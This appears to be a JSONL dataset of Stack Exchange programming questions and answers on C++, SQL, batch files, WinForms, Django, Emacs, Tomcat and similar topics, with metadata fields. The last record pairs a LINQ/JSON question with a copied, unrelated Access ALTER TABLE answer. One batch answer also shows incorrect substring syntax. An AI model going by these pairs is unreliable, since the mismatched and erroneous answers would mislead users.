"tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.644856"}
{"id": "hf_2bee03bfcdef", "question": "<p>I have roughly the following code. Could this be made nicer or more efficient? Perhaps using <code>std::remove_if</code>? Can you remove items from the map while traversing it? Can we avoid using the temporary map?</p>\n\n<pre><code>typedef std::map&lt;Action, What&gt; Actions;\nstatic Actions _actions;\n\nbool expired(const Actions::value_type &amp;action)\n{\n  return &lt;something&gt;;\n}\n\nvoid bar(const Actions::value_type &amp;action)\n{\n  // do some stuff\n}\n\nvoid foo()\n{\n  // loop the actions finding expired items\n  Actions actions;\n  BOOST_FOREACH(Actions::value_type &amp;action, _actions)\n  {\n    if (expired(action))\n      bar(action);\n    else\n      actions[action.first]=action.second;\n    }\n  }\n  actions.swap(_actions);\n}\n</code></pre>\n", "question_body": "", "answer": "If the idea is to remove expired items, why not use\nmap::erase\n? This way you only have to remove elements you don't need anymore, not rebuild an entire copy with all the elements that you want to keep.\nThe way you would do this is to save off the iterators pointing to the elements you want to erase, then erase them all after the iteration is over.\nOr, you can save off the element that you visited, move to the next element, and then erase the temporary. The loop bounds get messed up in your case though, so you have to fine tune the iteration yourself.\nDepending on how expired() is implemented, there may be other better ways. For example if you are keeping track of a timestamp as the key to the map (as expired() implies?), you can do upper_bound on the current timestamp, and all elements in the range [ begin(), upper_bound() ) need to be processed and erased.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.778011"}
{"id": "hf_f4f4ec47f5b7", "question": "<p>I've just discovered that Oracle lets you do the following:</p>\n\n<pre><code>SELECT foo.a, (SELECT c \n               FROM bar \n               WHERE foo.a = bar.a) \nfrom foo\n</code></pre>\n\n<p>As long as only one row in bar matches any row in foo.</p>\n\n<p>The explain plan I get from PL/SQL developer is this:</p>\n\n<pre><code>SELECT STATEMENT, GOAL = ALL_ROWS               \n TABLE ACCESS FULL  BAR \n TABLE ACCESS FULL  FOO \n</code></pre>\n\n<p>This doesn't actually specify how the tables are joined.  A colleague asserted that this is more efficient than doing a regular join.  Is that true? What is the join strategy on such a select statement, and why doesn't it show up in the explain plan?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "The plan you have there does not provide much information at all.\nUse SQL*Plus and use dbms_xplan to get a more detailed plan.  Look for a script called utlxpls.sql.\nThis gives a bit more information:-\n```\n```\n--------------------------------------------------------------------------\n| Id  | Operation         | Name | Rows  | Bytes | Cost (%CPU)| Time     |\n--------------------------------------------------------------------------\n|   0 | SELECT STATEMENT  |      |  1837 | 23881 |     3   (0)| 00:00:01 |\n|*  1 |  TABLE ACCESS FULL| BAR  |    18 |   468 |     2   (0)| 00:00:01 |\n|   2 |  TABLE ACCESS FULL| FOO  |  1837 | 23881 |     3   (0)| 00:00:01 |\n--------------------------------------------------------------------------\n\nPredicate Information (identified by operation id):\n---------------------------------------------------\n\n   1 - filter(\"BAR\".\"A\"=:B1)\n\nNote\n-----\n   - dynamic sampling used for this statement\n\n18 rows selected.\n```\n```\nI didn't create any indexes or foreign keys or collect statistics on the tables, which would change the plan and the join mechanism choosen.  Oracle is actually doing a NESTED LOOPS type join here.  Step 1, your inline sub-select, is performed for every row returned from FOO.\nThis way of performing a SELECT is not quicker.  It could be the same or slower.  In general try and join everything in the main WHERE clause unless it becomes horribly unreadable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.802711"}
{"id": "hf_b891737458cb", "question": "<p>Being an aspiring Apple developer, I want to get the opinions of the community if it is better to learn C first before moving into Objective-C and ultimately the Cocoa Framework?</p>\n\n<p>My gut says learn C, which will give me a good foundation.</p>\n", "question_body": "", "answer": "Better, I don't know, even less as I am not familiar with Objective-C.\nBut bases of C aren't so hard to learn, it isn't a very complex language (in terms of syntax, not in terms of mastering!), so go for it, it won't be wasted time.\nPersonally, I think it is always a good idea to learn C, it gives a good insight of how computer works. After all, most languages and systems are still written in C. Then move on! :-)\nPS.: By \"move on\", I didn't mean \"drop it\", just \"learn more, learn different\". Once you know C, you might never drop it: Java uses JNI to call C routines for low level stuff, Python, Lua, etc. are often extended with C code (Lua reference even just assumes some C knowledge for some functions which are just a thin wrapper to the C function behind), and so on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.849644"}
{"id": "hf_edc473b620e3", "question": "<p>I'd like to bold the text for a tab page under certain conditions (not, necessarily, GotFocus).  Is it true the only 'er easiest way to do this is by overriding the DrawItem event for the tab control?</p>\n\n<p><a href=\"http://www.vbforums.com/showthread.php?t=355093\" rel=\"noreferrer\">http://www.vbforums.com/showthread.php?t=355093</a></p>\n\n<p>It seems like there should be an easier way.  </p>\n\n<p>Like ...</p>\n\n<p><code>\ntabControl.TabPages(index).Font = New Font(Me.Font, FontStyle.Bold)\n</code></p>\n\n<p>That doesn't work, obviously.</p>\n", "question_body": "", "answer": "When you set the Font property on a TabPage, you are setting the default font for all controls on that tab page. You are not setting it for the header, however.\nWhen you execute the following code:\n```\n```\ntabControl.TabPages(index).Font = New Font(Me.Font, FontStyle.Bold)\n```\n```\nAny controls on that page will now be bold by default, which is not (I'm assuming) what you want.\nThe header's font (that is, the tab itself) is controlled by the TabControl's Font property. If you were to change your code to:\n```\n```\ntabControl.Font = New Font(Me.Font, FontStyle.Bold)\n```\n```\nYou will see that in action. However, it changes the font for\nall\nthe tabs on display, which is also not, I'm assuming, what you want.\nSo, using the default WinForms tab control, you are (I believe) limited to the technique in the link you've posted. Alternatively, you can begin looking at 3rd-party controls, such as those discussed in\nthese\nquestions\non\nStackOverflow\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.872426"}
{"id": "hf_6838f28926b6", "question": "<p>I've got a list in a Python program that contains a series of numbers, which are themselves ASCII values.  How do I convert this into a \"regular\" string that I can echo to the screen?</p>\n", "question_body": "", "answer": "You are probably looking for 'chr()':\n```\n```\n>>> L = [104, 101, 108, 108, 111, 44, 32, 119, 111, 114, 108, 100]\n>>> ''.join(chr(i) for i in L)\n'hello, world'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.932353"}
{"id": "hf_f665b0cd004b", "question": "<p>I am hoping to find a resource for lining up input elements in a HTML page. I find it difficult to get a select element and a text box to be the same width even when using the width style attribute, and it is even more difficult across browsers. Finally, file inputs seem impossible to get to the same width cross browser. Are there any good guides or tips for accomplishing this? Perhaps there are some default CSS attributes I should be setting.</p>\n", "question_body": "", "answer": "I usually put them inside a div or table cell (horrors! I know) of the width I want, then set the select and input style:width to 100% so they fill the div / cell they are in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.005312"}
{"id": "hf_f7c74be018e2", "question": "<p>When 'val' below is not a <code>bool</code> I get an exception, I believe I can use <code>TryParse</code> but I'm not sure how best to use it with my code below. Can anyone help?</p>\n\n<pre><code>checkBox.Checked = Convert.ToBoolean(val);\n</code></pre>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "The code is as follows to determine whether the string\n```\nval\n```\nis a valid Boolean value and use it to set the\n```\nChecked\n```\nproperty if so. You need to decide what action you would take if it does not represent a valid value.\n```\n```\nbool result;\nif (bool.TryParse(val, out result))\n{\n    // val does represent a Boolean\n    checkBox.Checked = result;\n}\nelse\n{\n    // val does not represent a Boolean\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.041507"}
{"id": "hf_420e7b2af38e", "question": "<p>I heard Microsoft allows use of commercially available Office UI controls, with the exception of competing products, such as a word processor or spreadsheet app, etc.</p>\n\n<p>How true is that?</p>\n\n<p>Also, if it is not true, do you know of any <em>free</em> Ribbon controls?</p>\n", "question_body": "", "answer": "You should look at\nJensen Harris' blog entry about licensing the Office user interface\nwhich explains it in great detail. However I believe the relevant point here is:\nThere's only one limitation: if you\n  are building a program which directly\n  competes with Word, Excel, PowerPoint,\n  Outlook, or Access (the Microsoft\n  applications with the new UI), you\n  can't obtain the royalty-free license.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.065302"}
{"id": "hf_e1e3f4a1ddd5", "question": "<p>So, I'm working under the assumption that we have typed languages because we make a lot of mistakes... so typing is one way to have the compiler do a lot of checks for us and help us out a bit (please let me know if it is my assumptions that's incorrect).</p>\n\n<p>However, if we introduce casting to a typed language, don't we re-introduce most the problems we had when were not able to type variables?</p>\n\n<p>I'm also aware that my assumption isn't the only reason why we type variables. Please share some of the other reasons why we have typed languages.</p>\n", "question_body": "", "answer": "so typing is one way to have the\n  compiler do a lot of checks for us and\n  help us out a bit\nYes.\nHowever, if we introduce casting to a\n  typed language, don't we re-introduce\n  most the problems we had when were not\n  able to type variables?\nYes.\nYou should avoid it to the extent possible, but sometimes you still need to do dirty work.\nOf course, there are plenty of languages that do not enforce strict typing, and plenty of people who like them and get useful work done with them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.099993"}
{"id": "hf_8c5ea6a23b70", "question": "<p>I'm using a vendor API to obtain a JDBC connection to the application's database. The API works when running in the application server or when running in a stand-alone mode. I want to run a series of SQL statements in a single transaction. I'm fine with them occurring in the context of the JTA transaction if it exists. However, if it doesn't then I need to use the JDBC transaction demarcation methods. (Calling these methods on a JDBC connection that is participating in a JTA transaction causes a SQLException.)</p>\n\n<p>So I need to be able to determine whether the Connection came from the JTA enabled DataSource or if it's just a straight JDBC connection.</p>\n\n<p>Is there a straight forward way to make this determination?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You could try to check the Connection's autoCommit flag to see if it is in a transaction (regardless of where it came from).\n(Apparently, see the accepted answer, this does not work too well. I am not deleting this answer because the following still stands: )\nBut I think you should really modify your API to depend on external transactions exclusively. If you still want to support plain JDBC, wrap it into a separate API that just starts the transaction.\nUpdate: Just re-read your question and saw that you are not providing an API, but want to use a container-managed connection. But still, can you just mandate (as part of your application's requirements) that JTA be in effect? If not, you could provide a configuration option to fall back to manually managed transactions. For such a critical feature it seems reasonable to require the proper configuration (as opposed to try to guess what would be appropriate).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.127255"}
{"id": "hf_0b2b82cc85c6", "question": "<p>How do you iterate over each file in a directory with a .bat or .cmd file?</p>\n\n<p>For simplicity please provide an answer that just echoes the filename or file path.</p>\n", "question_body": "", "answer": "Command line usage:\n```\n```\nfor /f %f in ('dir /b c:\\') do echo %f\n```\n```\nBatch file usage:\n```\n```\nfor /f %%f in ('dir /b c:\\') do echo %%f\n```\n```\nUpdate\n: if the directory contains files with space in the names, you need to change the delimiter the\n```\nfor /f\n```\ncommand is using. for example, you can use the pipe char.\n```\n```\nfor /f \"delims=|\" %%f in ('dir /b c:\\') do echo %%f\n```\n```\nUpdate 2\n: (quick one year and a half after the original answer :-)) If the directory name itself has a space in the name, you can use the\n```\nusebackq\n```\noption on the\n```\nfor\n```\n:\n```\n```\nfor /f \"usebackq delims=|\" %%f in (`dir /b \"c:\\program files\"`) do echo %%f\n```\n```\nAnd if you need to use output redirection or command piping, use the escape char (\n```\n^\n```\n):\n```\n```\nfor /f \"usebackq delims=|\" %%f in (`dir /b \"c:\\program files\" ^| findstr /i microsoft`) do echo %%f\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.150518"}
{"id": "hf_cc7f433bf56d", "question": "<p>I have an upcoming project which will have to be able to print simple reports from its data. It'll be WPF-based, and I'm wondering which way to go.</p>\n\n<p>I know that WPF introduces its own printing technology (based on XPS) which looks quite easy to use. However, part of me wonders whether it would just be easier to use the ReportViewer control and embed it in a Windows Forms host control, since that will give users the ability to export to a variety of formats as well as print.</p>\n\n<p>Has anyone had any experience with printing/reporting from WPF? Which direction would you recommend?</p>\n", "question_body": "", "answer": "I've reccently accomplished task of developing own reporting system, which basically consist on design enviroment and data Source manager. The first task was to develop WYSWIG-like design enviroment. I've done this using GDI+, without even bothering about printing, as it came out printing/generating print preview was easiest than i expected, In general it  only takes to draw all things on screen to graphics object of printing event.\nI think that in case of WPF it would be similar, so all you should worry about is to display you report on screen and printing would be only few lines of code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.190597"}
{"id": "hf_100c69563dc2", "question": "<p>Is there a way to take substrings of a string with .bat/.cmd files?</p>\n\n<p>For example given the string \"hello.txt\" is there a way to strip the .txt?</p>\n\n<p>EDIT: Also is there a more general way to do this, not under the assumption that it is a file name or file path?</p>\n", "question_body": "", "answer": "If this is a file passed as a parameter, you can use %~n1, like this:\n```\n```\ntest.bat\n----------\necho %~n1 %~n2\n\nc:\\> test.bat myfile.txt my.long.file.bat\n  myfile my.long.file\n```\n```\nIf you know the length of the string you can use the substring operator:\n```\n```\necho %variable:0,4%   =>  \"test.txt\" => \"test\"\n```\n```\nAnd to get everything EXCEPT the last 4 characters:\n```\n```\necho %variable:~0,-4%  => \"file...name.txt\" => \"file...name\"\n```\n```\nBatchFiles Website (kind advanced)\nDecent forum post\nAnother Good Post", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.214645"}
{"id": "hf_a292994c63e0", "question": "<p>What are the best free resources for learning advanced batch-file usage?</p>\n", "question_body": "", "answer": "Tried\nWikipedia's batch file entry\n? ...or any of\nthe multitude of answers google gives on advanced batch file usage\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.238963"}
{"id": "hf_c91016bc71be", "question": "<p>I have a ListBox which displays items of variable height. I want to show as many items as will fit in the available space, without showing a vertical scrollbar. Other than surgery on the ListBox item template, is there a way to only show the number of items which will fit without scrolling?</p>\n", "question_body": "", "answer": "```\n```\n<ListBox ScrollViewer.VerticalScrollBarVisibility=\"Auto\" />\n```\n```\nthe default is visible", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.274920"}
{"id": "hf_b747ca0ce040", "question": "<p>I have a servlet which is in the same web application as the JSF servlet.\nHow do I replace (rather than redirect) the servlet response with the JSF response? </p>\n", "question_body": "", "answer": "Not sure I fully understand your question - but if you want to include the output from a JSF page in your servlet response, something like:\n```\n```\npublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {\n        // Do stuff\n        req.getRequestDispatcher(\"/blah.jsf\").forward(req, res);\n        // Do other stuff\n}\n```\n```\nShould do the trick", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.333418"}
{"id": "hf_6a70f68ba302", "question": "<p>Just wondering if there is an easy way to add the functionality to duplicate an existing listing in the admin interface?</p>\n\n<p>In data entry we have run into a situation where a lot of items share generic data with another item, and to save time it would be very nice to quickly duplicate an existing listing and only alter the changed data. Using a better model structure would be one way of reducing the duplication of the data, but there may be situation where the duplicated data needs to be changed on an individual basis in the future.</p>\n", "question_body": "", "answer": "You can\nsave as\nby just enabling adding this to your ModelAdmin:\n```\n```\nsave_as = True\n```\n```\nThis replaces the \"Save and add another\" button with a \"Save as\" button.  \"Save as\" means the object will be saved as a new object (with a new ID), rather than the old object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.355916"}
{"id": "hf_94113cfba43a", "question": "<p>Here are some gems:</p>\n\n<p>Literals:</p>\n\n<pre><code>var obj = {}; // Object literal, equivalent to var obj = new Object();\nvar arr = []; // Array literal, equivalent to var arr = new Array();\nvar regex = /something/; // Regular expression literal, equivalent to var regex = new RegExp('something');\n</code></pre>\n\n<p>Defaults:</p>\n\n<pre><code>arg = arg || 'default'; // if arg evaluates to false, use 'default', which is the same as:\narg = !!arg ? arg : 'default';\n</code></pre>\n\n<p>Of course we know anonymous functions, but being able to treat them as literals and execute them on the spot (as a closure) is great:</p>\n\n<pre><code>(function() { ... })(); // Creates an anonymous function and executes it\n</code></pre>\n\n<p><strong>Question:</strong> What other great syntactic sugar is available in javascript?</p>\n", "question_body": "", "answer": "In Mozilla (and reportedly IE7) you can create an XML constant using:\n```\nvar xml = <elem></elem>;\n```\nYou can substitute variables as well:\n```\nvar elem = \"html\";\nvar text = \"Some text\";\nvar xml = <{elem}>{text}</{elem}>;\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.401227"}
{"id": "hf_71c6cb72dec5", "question": "<p>I'm the creator (and so far, only developer) of a CodePlex project.  I've writing it on my laptop, using a Subversion repository on my home network.  </p>\n\n<p>Submitting my changes to CodePlex via the TeamServer interface is driving me crazy, and I'd really like a simple way of syncing my svn repos with CodePlex via there new SVN interface.  svnsync or synmerge seem to be the way to go, but neither's instructions seem clear to a guy who's only ever used TortoiseSVN. And they seem to also seem need local access to the destination server (which clearly for CodePlex, is impossible)</p>\n\n<p>So, could someone give simple instructions how to do this?</p>\n", "question_body": "", "answer": "As you'll find in the\ndocumentation\n, svnsync requires exclusive (but not local) access to the destination server. This makes it unfit for your purpose, as it would render the CodePlex repository inaccessible for commits by other developers (when they come ;)).\nYou might consider the other way around though: always commit to the CodePlex repo, and use svnsync to keep a local (and read-only) mirror of that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.427907"}
{"id": "hf_2c0ce51fa129", "question": "<p>How would you reference the models (Accord, CRV, Prius, etc) in this structure? \nIs this a bad structure to be able to extract the makes...then use a make to get the models...then use the model to get the options?</p>\n\n<pre><code>var cars = [\n    {\n        \"makes\"   : \"Honda\",\n        \"models\"   : [\n            {'Accord' : [\"2dr\",\"4dr\"]} ,\n            {'CRV'    : [\"2dr\",\"Hatchback\"]} ,\n            {'Pilot'  : [\"base\",\"superDuper\"] }\n        ]\n    }, \n    {\n        \"makes\"   : \"Toyota\",\n        \"models\"  : [\n            {'Prius'   : [\"green\",\"reallyGreen\"]} ,\n            {'Camry'   : [\"sporty\",\"square\"]} ,\n            {'Corolla' : [\"cheap\",\"superFly\"] }\n        ]\n    }\n];              \n</code></pre>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "cars[0].models.Accord\n    cars[0].models.CRV\n    cars[0].models.Pilot\n(See\nolliej\n's answer)\nThough, it may be easier to use the following access concept:\n```\n```\ncars.Honda.Accord\ncars.Toyota.Prius\n```\n```\n...using...\n```\n```\nvar cars = {\n  Honda : {\n    Accord : [\"2dr\", \"4dr\"],\n    CRV    : [\"2dr\", \"Hatchback\"],\n    Pilot  : [\"base\", \"superDuper\"]\n  },\n  Toyota : {\n    Prius : [\"green\", \"reallyGreen\"],\n    Camry : [\"sporty\", \"square\"],\n    Corolla : [\"cheap\", \"superFly\"]\n  }\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.451146"}
{"id": "hf_dc6ae0e4f002", "question": "<p>What is the maximum length for the text string contained in a CEdit control in MFC? I get a beep when trying to add a character after the character 30001 is this documented anywhere? Can I display longer texts in a CEdit? Should I use another control?</p>\n\n<p>As \"Windows programmer\" says down below, the text length limit is not the same when the user types as when we programatically set the text using SetWindowText. The limit for setting a text programatically is not mentioned anywhere. The default text lentgth limit for the user typing is wrong. (see my own post below). </p>\n\n<p>I'm guessing that after I call pEdit->SetLimitText(0) the limit for both programatically and user input text length is 7FFFFFFE bytes. Am I right?</p>\n\n<p>In vista, when pasting text longer than 40000 characters into a CEdit, it becomes unresponsive. It does not matter if I called SetLimitText(100000) previously.</p>\n", "question_body": "", "answer": "You can find out what the maximum is for your control by calling\nCEdit::GetLimitText()\non your control.  This returns the maximum size for character data in bytes.  You can change the maximum size using the\nCEdit::SetLimitText()\nfunction.\nThe SetLimitText() function is equivalent to sending an\nEM_SETLIMITTEXT\nmessage.  The documentation for that message gives the maximum sizes that can be used, but since these are MSDN links that will probably be broken by tomorrow, I'll copy the relevant information :)\nThe UINT parameter is interpreted as:\nThe maximum number of TCHARs the user\n  can enter. For ANSI text, this is the\n  number of bytes; for Unicode text,\n  this is the number of characters. This\n  number does not include the\n  terminating null character. Rich edit\n  controls: If this parameter is zero,\n  the text length is set to 64,000\n  characters.\nEdit controls on Windows NT/2000/XP:\n  If this parameter is zero, the text\n  length is set to 0x7FFFFFFE characters\n  for single-line edit controls or –1\n  for multiline edit controls.\nEdit controls on Windows 95/98/Me: If\n  this parameter is zero, the text\n  length is set to 0x7FFE characters for\n  single-line edit controls or 0xFFFF\n  for multiline edit controls.\nAlso, from the Remarks section:\nBefore EM_SETLIMITTEXT is called, the\n  default limit for the amount of text a\n  user can enter in an edit control is\n  32,767 characters.\nEdit controls on Windows NT/2000/XP:\n  For single-line edit controls, the\n  text limit is either 0x7FFFFFFE bytes\n  or the value of the wParam parameter,\n  whichever is smaller. For multiline\n  edit controls, this value is either –1\n  bytes or the value of the wParam\n  parameter, whichever is smaller.\nEdit controls on Windows 95/98/Me: For\n  single-line edit controls, the text\n  limit is either 0x7FFE bytes or the\n  value of the wParam parameter,\n  whichever is smaller. For multiline\n  edit controls, this value is either\n  0xFFFF bytes or the value of the\n  wParam parameter, whichever is\n  smaller.\nI assume they meant 0xFFFFFFFF instead of -1 in the second paragraph there...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.475127"}
{"id": "hf_6fe853de6907", "question": "<p>If a file is set to read only mode, how do I change it to write mode and vice versa from within Emacs?</p>\n", "question_body": "", "answer": "M-x read-only-mode\nin very old versions of Emacs, the command was:\nM-x toggle-read-only\nOn my Windows box, that amounts to Alt-x to bring up the meta prompt and typing \"read-only-mode\" to call the correct elisp function.\nIf you are using the default keyboard bindings,\nC-x C-q\n(which you read aloud as \"Control-X Control-Q\") will have the same effect.  Remember, however, given that emacs is essentially infinitely re-configurable, your mileage may vary.\nFollowing up from the commentary:\nyou should note that the writeable status of the buffer does not change the writeable permission of the file.  If you try to write out to a read only\nfile\n, you'll see a confirmation message.  However, if you own the file, you can write out your changes\nwithout\nchanging the permissions on the file.\nThis is very convenient if you'd like to make a quick change to a file without having to go through the multiple steps of add write permission, write out changes, remove write permission.  I tend to forget that last step, leaving potentially critical files open for accidental changes later on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.572077"}
{"id": "hf_939f427d8b8e", "question": "<p>Working in Eclipse on a Dynamic Web Project (using Tomcat (v5.5) as the app server), is there some way I can configure things so Tomcat will start with security turned on (i.e. as if I ran catalina.sh start -security)?</p>\n", "question_body": "", "answer": "I'm assuming that you're using Tomcat 5.5.x\nafter looking at catalina.bat/catalina.sh, all the -security flag does is to set \n-Djava.security.policy==\"%CATALINA_BASE%\\conf\\catalina.policy\"\nMost people have CATALINA_BASE set to TOMCAT_HOME or CATALINA_HOME\nSo, if you have installed tomcat in the directoryc:\\tomcat, then all you need to do is to set an option in the tomcat plugin to include the above policy.\ni.e, add this to JAVA_OPTIONS : -Djava.security.policy==\"c:\\tomcat\\conf\\catalina.policy\".\nThat's all and restart.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.599833"}
{"id": "hf_5a1b46d040c8", "question": "<p>I want to programmatically create a new column in an MS Access table.  I've tried many permutations of <code>ALTER TABLE MyTable Add  MyField DECIMAL (9,4) NULL;</code> and got: </p>\n\n<blockquote>\n  <p>Syntax Error in Field Definition</p>\n</blockquote>\n\n<p>I can easily create a number field that goes to a <code>Double</code> type, but I want <code>decimal</code>.  I would very strongly prefer to do this in a single <code>ALTER TABLE</code> statement and not have to create a field and then alter it. </p>\n\n<p>I am using Access 2003.</p>\n", "question_body": "", "answer": "The ALTER TABLE syntax is only supported in Jet 4.0/ACE while in\nANSI-92 Query Mode. Try an ADO connection e.g.\nCurrentProject.Connection.Execute \"ALTER TABLE myTbl ADD COLUMN myColumn DECIMAL(9,4)\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.623485"}
{"id": "hf_7da4a4a4209b", "question": "<p>I am attempting to use linq to shape list of data into a particular shape to be returned as Json from an ajax call.</p>\n\n<p>Given this data:</p>\n\n<pre><code>var data = new List&lt;string&gt;();\ndata.Add(\"One\");\ndata.Add(\"Two\");\ndata.Add(\"Three\");\n</code></pre>\n\n<p>And this code: ** Which is not correct and is what needs to be fixed!! **</p>\n\n<pre><code>var shaped = data.Select(c =&gt;\n    new { c = c }\n).ToList();\n\nserializer.Serialize(shaped,sb);\nstring desiredResult = sb.ToString();\n</code></pre>\n\n<p>I would like <code>desiredResult</code> to be:</p>\n\n<pre><code>{\n    \"One\": \"One\",\n    \"Two\": \"Two\",\n    \"Three\": \"Three\"\n}\n</code></pre>\n\n<p>but it is currently:</p>\n\n<p><code>{ \"c\" : \"One\" },{ \"c\" : \"Two\" }</code>, etc. </p>\n\n<p>One problem is that on the left side of the object initializer I want the value of <code>c</code>, not <code>c</code> itself...</p>\n", "question_body": "", "answer": "The ALTER TABLE syntax is only supported in Jet 4.0/ACE while in\nANSI-92 Query Mode. Try an ADO connection e.g.\nCurrentProject.Connection.Execute \"ALTER TABLE myTbl ADD COLUMN myColumn DECIMAL(9,4)\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.646936"}
